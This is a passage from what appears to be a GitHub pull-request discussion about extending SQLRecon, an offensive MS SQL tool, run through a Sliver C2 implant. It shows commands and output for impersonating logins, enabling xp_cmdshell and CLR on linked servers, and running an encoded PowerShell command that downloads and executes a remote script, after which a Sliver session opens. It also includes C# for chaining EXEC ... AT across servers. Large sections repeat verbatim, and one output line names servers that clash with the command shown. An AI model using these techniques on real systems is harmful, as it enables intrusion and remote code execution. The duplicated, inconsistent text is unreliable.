| setupadmin    | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| processadmin  | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| diskadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| dbcreator     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| bulkadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |

Oh and I integrated your demand about the /debug flag:
execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02,SQL03 /m:users /debug

[*] Output:
[i] Debug mode enabled
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 7918feac-be2a-4280-a7b6-7c44c1ddfdf9
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02 -> SQL03
[i] Executing following SQL query: SELECT SYSTEM_USER;
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
[i] Executing following SQL query: SELECT USER_NAME();
 |-> Mapped to the username 'dbo'
[i] Executing following SQL query: EXECUTE AS LOGIN = 'webapp01';
[i] Executing following SQL query: SELECT SYSTEM_USER;
[+] Impersonated server user 'webapp01'
[i] Executing following SQL query: SELECT USER_NAME();
 |-> Mapped to the username 'dbo'
[i] Executing following SQL query: select * from openquery("SQL02", 'select * from openquery("SQL03", ''SELECT name AS username, create_date, modify_date, type_desc AS type, authentication_type_desc AS authentication_type FROM sys.database_principals WHERE type NOT IN (''''A'''', ''''R'''', ''''X'''') AND sid IS NOT null AND name NOT LIKE ''''##%'''' ORDER BY modify_date DESC;'')')
[i] Executing following SQL query: select * from openquery("SQL02", 'select * from openquery("SQL03", ''SELECT name, type_desc, is_disabled, create_date, modify_date FROM sys.server_principals WHERE name NOT LIKE ''''##%'''' ORDER BY modify_date DESC;'')')
[+] Retrieved users on SQL53 (via linked servers 0 -> SQL27 -> SQL53):
 |-> Database Principals:

| username | create_date         | modify_date         | type     | authentication_type |
| -------- | ------------------- | ------------------- | -------- | ------------------- |
| guest    | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | NONE                |
| dbo      | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | INSTANCE            |

 |-> Server Principals:

| name          | type_desc   | is_disabled | create_date           | modify_date           |
| ------------- | ----------- | ----------- | --------------------- | --------------------- |
| webapps       | SQL_LOGIN   | False       | 7/6/2020 4:09:52 AM   | 7/7/2020 1:05:41 PM   |
| testAccount   | SQL_LOGIN   | False       | 7/6/2020 3:16:59 AM   | 7/6/2020 3:16:59 AM   |
| sa            | SQL_LOGIN   | False       | 4/8/2003 9:10:35 AM   | 7/6/2020 3:16:14 AM   |
| public        | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| sysadmin      | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| securityadmin | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| serveradmin   | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| setupadmin    | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| processadmin  | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| diskadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| dbcreator     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| bulkadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |

You were right. It's much better for debugging complex queries. By the way, tunneling with OPENQUERY is great, but I've added a tunnel generation AT keyword to run stored procedures on linked SQL servers. It's a bit like what you've already done, but with the ability to handle chaining. Here is the method:
/// <summary>
/// The method dynamically builds the nested SQL command based on the number of servers listed in the serverChain.
/// It constructs the query by iterating over the server list from the end towards the beginning (after skipping the "0" index).
/// Each server in the chain adds another layer of EXEC ('...') AT [ServerName] around the existing query.
/// </summary>
/// <param name="path"></param>
/// <param name="sql"></param>
/// <returns></returns>
public static string GetSQLServerRpcConfigQuery(string[] path, string sql)
{
    string currentQuery = sql;

    // Start from the end of the array and skip the first element ("0")
    for (int i = path.Length - 1; i > 0; i--)
    {
        string server = path[i];
        // Double single quotes to escape them in the SQL string
        currentQuery = $"EXEC ('{currentQuery.Replace("'", "''")}') AT {server}";
    }

    return currentQuery;
}

Regarding the use of the /h and /a commands, I understand your concerns about operational security (OPSEC) and the risks of unintended actions or fails if these parameters are not explicitly specified. My suggestion comes from a place of practical operational efficiency, especially in scenarios where SQLRecon is deployed through an implant or within environments like a Cobalt Strike beacon. Here, the context of execution is usually well-controlled, and the operator is often aware that the target system and authentication context are predetermined by the nature of the implant's placement.
In such cases, repeatedly specifying the target and authentication can become redundant and prone to human error, which in itself can be a security risk. Automating these aspects where the environment has already been securely established can reduce the cognitive load on operators and minimize the chances of command errors. It also streamlines the process, allowing operators to focus more on the strategic aspects of their tasks rather than on repetitive command formulation.
N.B: AgentJobs.cs and ADSI.cs have not been adapted and can only work for a single jump. Unfortunately, I haven't had time to work on them due to lack of personal time and because I don't have a suitable test environment.

So, @skahwah, here I am! First of all, I want you to know that I really appreciate the depth of consideration you give to each element. It gives me the strength to spend (too) many more hours on the project. I really hope you will appreciate all of that. That's it for me, this PR is normally complete. 💼
I've refactored all the commands to drastically reduce code size (which could be important for in-memory execution) and method flexibility. The tunneling now offered allows you to chain an infinite number (the word is strong, surely much less) of servers. What's more, the tool is capable of knowing when you want to chain or not, impersonate or not, and adapts its basic modules thanks to the global variables you introduced! This will make your code easier to use and maintain in the future.
I've finally abandoned the /t notation in order to keep the original /l now that I've refactored everything, to disturb users and documentations as little as possible.
Below is an example of how to activate xp_cmdshell on a linked server:
sliver (FAITHFUL_JACKET) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02 /m:enablexp

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 0a84a9b3-6c31-4a13-8fe7-3a30de0699c6
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[+] Impersonated server user 'webapp01'
 |-> Mapped to the username 'dbo'
[*] Enabling xp_cmdshell on SQL02 (via linked servers 0 -> SQL02)
[+] Enabled xp_cmdshell on SQL02.
| name        | value |
| ----------- | ----- |
| xp_cmdshell | 1     |

And then, you can execute a command with some ease:
sliver (FAITHFUL_JACKET) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02 /m:xpcmd /c:\"powershell -ep bypass -e aQBlAHgAKABpAHIAbQAgADEAOQAyAC4AMQA2ADgALgA0ADUALgAxADgANwAvAGQALwBnAC8AaABvAGwAbABvAHcALgBwAHMAMQApAA==\"

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 6d1ec93f-0d3a-4869-a068-59cf02f9d4d8
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[+] Impersonated server user 'webapp01'
 |-> Mapped to the username 'dbo'
[*] Executing 'powershell -ep bypass -e aQBlAHgAKABpAHIAbQAgADEAOQAyAC4AMQA2ADgALgA0ADUALgAxADgANwAvAGQALwBnAC8AaABvAGwAbABvAHcALgBwAHMAMQApAA==' on SQL02 (via linked servers 0 -> SQL02)
| column0 |
| ------- |
| 1       |

[*] Session 551cb65e FAITHFUL_JACKET - <IP_ADDRESS>:49951 (SQL02) - windows/amd64 - Thu, 30 May 2024 11:18:38 CEST

With multiple hops:
sliver (FAITHFUL_JACKET) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02,SQL03 /m:users

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 95cbe633-37a7-4181-9122-0b332b9a5e1b
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02 -> SQL03
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[+] Impersonated server user 'webapp01'
 |-> Mapped to the username 'dbo'
[+] Retrieved users on SQL03 (via linked servers 0 -> SQL02 -> SQL03):
 |-> Database Principals:
| username | create_date         | modify_date         | type     | authentication_type |
| -------- | ------------------- | ------------------- | -------- | ------------------- |
| guest    | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | NONE                |
| dbo      | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | INSTANCE            |

 |-> Server Principals:
| name          | type_desc   | is_disabled | create_date           | modify_date           |
| ------------- | ----------- | ----------- | --------------------- | --------------------- |
| webapps       | SQL_LOGIN   | False       | 7/6/2020 4:09:52 AM   | 7/7/2020 1:05:41 PM   |
| testAccount   | SQL_LOGIN   | False       | 7/6/2020 3:16:59 AM   | 7/6/2020 3:16:59 AM   |
| sa            | SQL_LOGIN   | False       | 4/8/2003 9:10:35 AM   | 7/6/2020 3:16:14 AM   |
| public        | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| sysadmin      | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| securityadmin | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| serveradmin   | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| setupadmin    | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| processadmin  | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| diskadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| dbcreator     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| bulkadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |

Oh and I integrated your demand about the /debug flag:
sliver (FAITHFUL_JACKET) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02,SQL03 /m:users /debug

[*] Output:
[i] Debug mode enabled
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 7918feac-be2a-4280-a7b6-7c44c1ddfdf9
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02 -> SQL03
[i] Executing following SQL query: SELECT SYSTEM_USER;
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
[i] Executing following SQL query: SELECT USER_NAME();
 |-> Mapped to the username 'dbo'
[i] Executing following SQL query: EXECUTE AS LOGIN = 'webapp01';
[i] Executing following SQL query: SELECT SYSTEM_USER;
[+] Impersonated server user 'webapp01'
[i] Executing following SQL query: SELECT USER_NAME();
 |-> Mapped to the username 'dbo'
[i] Executing following SQL query: select * from openquery("SQL02", 'select * from openquery("SQL03", ''SELECT name AS username, create_date, modify_date, type_desc AS type, authentication_type_desc AS authentication_type FROM sys.database_principals WHERE type NOT IN (''''A'''', ''''R'''', ''''X'''') AND sid IS NOT null AND name NOT LIKE ''''##%'''' ORDER BY modify_date DESC;'')')
[i] Executing following SQL query: select * from openquery("SQL02", 'select * from openquery("SQL03", ''SELECT name, type_desc, is_disabled, create_date, modify_date FROM sys.server_principals WHERE name NOT LIKE ''''##%'''' ORDER BY modify_date DESC;'')')
[+] Retrieved users on SQL53 (via linked servers 0 -> SQL27 -> SQL53):
 |-> Database Principals:

| username | create_date         | modify_date         | type     | authentication_type |
| -------- | ------------------- | ------------------- | -------- | ------------------- |
| guest    | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | NONE                |
| dbo      | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | INSTANCE            |

 |-> Server Principals:

| name          | type_desc   | is_disabled | create_date           | modify_date           |
| ------------- | ----------- | ----------- | --------------------- | --------------------- |
| webapps       | SQL_LOGIN   | False       | 7/6/2020 4:09:52 AM   | 7/7/2020 1:05:41 PM   |
| testAccount   | SQL_LOGIN   | False       | 7/6/2020 3:16:59 AM   | 7/6/2020 3:16:59 AM   |
| sa            | SQL_LOGIN   | False       | 4/8/2003 9:10:35 AM   | 7/6/2020 3:16:14 AM   |
| public        | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| sysadmin      | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| securityadmin | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| serveradmin   | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| setupadmin    | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| processadmin  | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| diskadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| dbcreator     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| bulkadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |

You were right. It's much better for debugging complex queries. By the way, tunneling with OPENQUERY is great, but I've added a tunnel generation AT keyword to run stored procedures on linked SQL servers. It's a bit like what you've already done, but with the ability to handle chaining. Here is the method:
/// <summary>
/// The method dynamically builds the nested SQL command based on the number of servers listed in the serverChain.
/// It constructs the query by iterating over the server list from the end towards the beginning (after skipping the "0" index).
/// Each server in the chain adds another layer of EXEC ('...') AT [ServerName] around the existing query.
/// </summary>
/// <param name="path"></param>
/// <param name="sql"></param>
/// <returns></returns>
public static string GetSQLServerRpcConfigQuery(string[] path, string sql)
{
    string currentQuery = sql;

    // Start from the end of the array and skip the first element ("0")
    for (int i = path.Length - 1; i > 0; i--)
    {
        string server = path[i];
        // Double single quotes to escape them in the SQL string
        currentQuery = $"EXEC ('{currentQuery.Replace("'", "''")}') AT {server}";
    }

    return currentQuery;
}

Regarding the use of the /h and /a commands, I understand your concerns about operational security (OPSEC) and the risks of unintended actions or fails if these parameters are not explicitly specified. My suggestion comes from a place of practical operational efficiency, especially in scenarios where SQLRecon is deployed through an implant or within environments like a Cobalt Strike beacon. Here, the context of execution is usually well-controlled, and the operator is often aware that the target system and authentication context are predetermined by the nature of the implant's placement.
In such cases, repeatedly specifying the target and authentication can become redundant and prone to human error, which in itself can be a security risk. Automating these aspects where the environment has already been securely established can reduce the cognitive load on operators and minimize the chances of command errors. It also streamlines the process, allowing operators to focus more on the strategic aspects of their tasks rather than on repetitive command formulation.
With all those changes, it is barely the best SQL tool I have encountered. Before those commits, SharpSQLPwn.exe was better in impersonation but not it's over. Talking about linked servers, it is magical to execute things with that ease.
N.B: AgentJobs.cs and ADSI.cs have not been adapted and can only work for a single jump. Unfortunately, I haven't had time to work on them due to lack of personal time and because I don't have a suitable test environment.

So, @skahwah, here I am! First of all, I want you to know that I really appreciate the depth of consideration you give to each element. It gives me the strength to spend (too) many more hours on the project. I really hope you will appreciate all of that. That's it for me, this PR is normally complete. 💼
I've refactored all the commands to drastically reduce code size (which could be important for in-memory execution) and method flexibility. The tunneling now offered allows you to chain an infinite number (the word is strong, surely much less) of servers. What's more, the tool is capable of knowing when you want to chain or not, impersonate or not, and adapts its basic modules thanks to the global variables you introduced! This will make your code easier to use and maintain in the future.
I've finally abandoned the /t notation in order to keep the original /l now that I've refactored everything, to disturb users and documentations as little as possible.
Below is an example of how to activate xp_cmdshell on a linked server:
sliver (FAITHFUL_JACKET) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02 /m:enablexp

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 0a84a9b3-6c31-4a13-8fe7-3a30de0699c6
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[+] Impersonated server user 'webapp01'
 |-> Mapped to the username 'dbo'
[*] Enabling xp_cmdshell on SQL02 (via linked servers 0 -> SQL02)
[+] Enabled xp_cmdshell on SQL02.
| name        | value |
| ----------- | ----- |
| xp_cmdshell | 1     |

And then, you can execute a command with some ease:
sliver (FAITHFUL_JACKET) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02 /m:xpcmd /c:\"powershell -ep bypass -e aQBlAHgAKABpAHIAbQAgADEAOQAyAC4AMQA2ADgALgA0ADUALgAxADgANwAvAGQALwBnAC8AaABvAGwAbABvAHcALgBwAHMAMQApAA==\"

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 6d1ec93f-0d3a-4869-a068-59cf02f9d4d8
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[+] Impersonated server user 'webapp01'
 |-> Mapped to the username 'dbo'
[*] Executing 'powershell -ep bypass -e aQBlAHgAKABpAHIAbQAgADEAOQAyAC4AMQA2ADgALgA0ADUALgAxADgANwAvAGQALwBnAC8AaABvAGwAbABvAHcALgBwAHMAMQApAA==' on SQL02 (via linked servers 0 -> SQL02)
| column0 |
| ------- |
| 1       |

[*] Session 551cb65e FAITHFUL_JACKET - <IP_ADDRESS>:49951 (SQL02) - windows/amd64 - Thu, 30 May 2024 11:18:38 CEST

With multiple hops:
sliver (FAITHFUL_JACKET) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02,SQL03 /m:users

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 95cbe633-37a7-4181-9122-0b332b9a5e1b
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02 -> SQL03
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[+] Impersonated server user 'webapp01'
 |-> Mapped to the username 'dbo'
[+] Retrieved users on SQL03 (via linked servers 0 -> SQL02 -> SQL03):
 |-> Database Principals:
| username | create_date         | modify_date         | type     | authentication_type |
| -------- | ------------------- | ------------------- | -------- | ------------------- |
| guest    | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | NONE                |
| dbo      | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | INSTANCE            |

 |-> Server Principals:
| name          | type_desc   | is_disabled | create_date           | modify_date           |
| ------------- | ----------- | ----------- | --------------------- | --------------------- |
| webapps       | SQL_LOGIN   | False       | 7/6/2020 4:09:52 AM   | 7/7/2020 1:05:41 PM   |
| testAccount   | SQL_LOGIN   | False       | 7/6/2020 3:16:59 AM   | 7/6/2020 3:16:59 AM   |
| sa            | SQL_LOGIN   | False       | 4/8/2003 9:10:35 AM   | 7/6/2020 3:16:14 AM   |
| public        | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| sysadmin      | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| securityadmin | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| serveradmin   | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| setupadmin    | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| processadmin  | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| diskadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| dbcreator     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| bulkadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |

Oh and I integrated your demand about the /debug flag:
sliver (FAITHFUL_JACKET) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02,SQL03 /m:users /debug

[*] Output:
[i] Debug mode enabled
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 7918feac-be2a-4280-a7b6-7c44c1ddfdf9
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02 -> SQL03
[i] Executing following SQL query: SELECT SYSTEM_USER;
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
[i] Executing following SQL query: SELECT USER_NAME();
 |-> Mapped to the username 'dbo'
[i] Executing following SQL query: EXECUTE AS LOGIN = 'webapp01';
[i] Executing following SQL query: SELECT SYSTEM_USER;
[+] Impersonated server user 'webapp01'
[i] Executing following SQL query: SELECT USER_NAME();
 |-> Mapped to the username 'dbo'
[i] Executing following SQL query: select * from openquery("SQL02", 'select * from openquery("SQL03", ''SELECT name AS username, create_date, modify_date, type_desc AS type, authentication_type_desc AS authentication_type FROM sys.database_principals WHERE type NOT IN (''''A'''', ''''R'''', ''''X'''') AND sid IS NOT null AND name NOT LIKE ''''##%'''' ORDER BY modify_date DESC;'')')
[i] Executing following SQL query: select * from openquery("SQL02", 'select * from openquery("SQL03", ''SELECT name, type_desc, is_disabled, create_date, modify_date FROM sys.server_principals WHERE name NOT LIKE ''''##%'''' ORDER BY modify_date DESC;'')')
[+] Retrieved users on SQL53 (via linked servers 0 -> SQL27 -> SQL53):
 |-> Database Principals:

| username | create_date         | modify_date         | type     | authentication_type |
| -------- | ------------------- | ------------------- | -------- | ------------------- |
| guest    | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | NONE                |
| dbo      | 4/8/2003 9:10:19 AM | 4/8/2003 9:10:19 AM | SQL_USER | INSTANCE            |

 |-> Server Principals:

| name          | type_desc   | is_disabled | create_date           | modify_date           |
| ------------- | ----------- | ----------- | --------------------- | --------------------- |
| webapps       | SQL_LOGIN   | False       | 7/6/2020 4:09:52 AM   | 7/7/2020 1:05:41 PM   |
| testAccount   | SQL_LOGIN   | False       | 7/6/2020 3:16:59 AM   | 7/6/2020 3:16:59 AM   |
| sa            | SQL_LOGIN   | False       | 4/8/2003 9:10:35 AM   | 7/6/2020 3:16:14 AM   |
| public        | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| sysadmin      | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| securityadmin | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| serveradmin   | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| setupadmin    | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| processadmin  | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| diskadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| dbcreator     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |
| bulkadmin     | SERVER_ROLE | False       | 4/13/2009 12:59:06 PM | 4/13/2009 12:59:06 PM |

You were right. It's much better for debugging complex queries. By the way, tunneling with OPENQUERY is great, but I've added a tunnel generation AT keyword to run stored procedures on linked SQL servers. It's a bit like what you've already done, but with the ability to handle chaining. Here is the method:
/// <summary>
/// The method dynamically builds the nested SQL command based on the number of servers listed in the serverChain.
/// It constructs the query by iterating over the server list from the end towards the beginning (after skipping the "0" index).
/// Each server in the chain adds another layer of EXEC ('...') AT [ServerName] around the existing query.
/// </summary>
/// <param name="path"></param>
/// <param name="sql"></param>
/// <returns></returns>
public static string GetSQLServerRpcConfigQuery(string[] path, string sql)
{
    string currentQuery = sql;

    // Start from the end of the array and skip the first element ("0")
    for (int i = path.Length - 1; i > 0; i--)
    {
        string server = path[i];
        // Double single quotes to escape them in the SQL string
        currentQuery = $"EXEC ('{currentQuery.Replace("'", "''")}') AT {server}";
    }

    return currentQuery;
}

Regarding the use of the /h and /a commands, I understand your concerns about operational security (OPSEC) and the risks of unintended actions or fails if these parameters are not explicitly specified. My suggestion comes from a place of practical operational efficiency, especially in scenarios where SQLRecon is deployed through an implant or within environments like a Cobalt Strike beacon. Here, the context of execution is usually well-controlled, and the operator is often aware that the target system and authentication context are predetermined by the nature of the implant's placement.
In such cases, repeatedly specifying the target and authentication can become redundant and prone to human error, which in itself can be a security risk. Automating these aspects where the environment has already been securely established can reduce the cognitive load on operators and minimize the chances of command errors. It also streamlines the process, allowing operators to focus more on the strategic aspects of their tasks rather than on repetitive command formulation.
With all those changes, it is barely the best MS SQL tool I have encountered. Before those commits, SharpSQLPwn.exe was better in impersonation but not it's over. Talking about linked servers, it is magical to execute things with that ease.
N.B: AgentJobs.cs and ADSI.cs have not been adapted and can only work for a single jump. Unfortunately, I haven't had time to work on them due to lack of personal time and because I don't have a suitable test environment.

@n3rada  I've spent the last few hours reviewing the changes, and began to do some functional testing. There are several issues that I've experienced where version 3.3 (current) of SQLRecon is able to perform an action, however, your version returns different results. I believe that the widespread changes to the module handling is the culprit and has caused stability issues. I'll need to assess this and revise.
I've attached a screenshot where I execute a basic command with SQLRecon v3.3 and then execute the same command using your version.

Invalid module, when the module clearly exists in the global variables ...
I'll add some more details/bugs as I find them.

Hm. What you are showing to me is really strange. Because on my side, everything works pretty well:
On the current server:
sliver (STRAIGHT_NOTE) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /a:wintoken /m:enableclr

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01 :1433 for master.
 |-> DataSource: SQL01 ,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 8f5caf18-323a-41ba-952b-a8e647358feb
 |-> ApplicationName: SQL01
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[*] Enabling CLR integration on SQL01
[+] Enabled CLR on SQL01 .
| name        | value |
| ----------- | ----- |
| clr enabled | 1     |

On a linked one:
sliver (STRAIGHT_NOTE) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL03  /m:enableclr

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01 :1433 for master.
 |-> DataSource: SQL01 ,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 5e0cf7f3-3367-4ab4-8bfb-d042ba3f2ced
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL03
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[+] Impersonated server user 'webapp01'
 |-> Mapped to the username 'dbo'
[*] Enabling CLR integration on SQL03  (via linked servers 0 -> SQL03 )
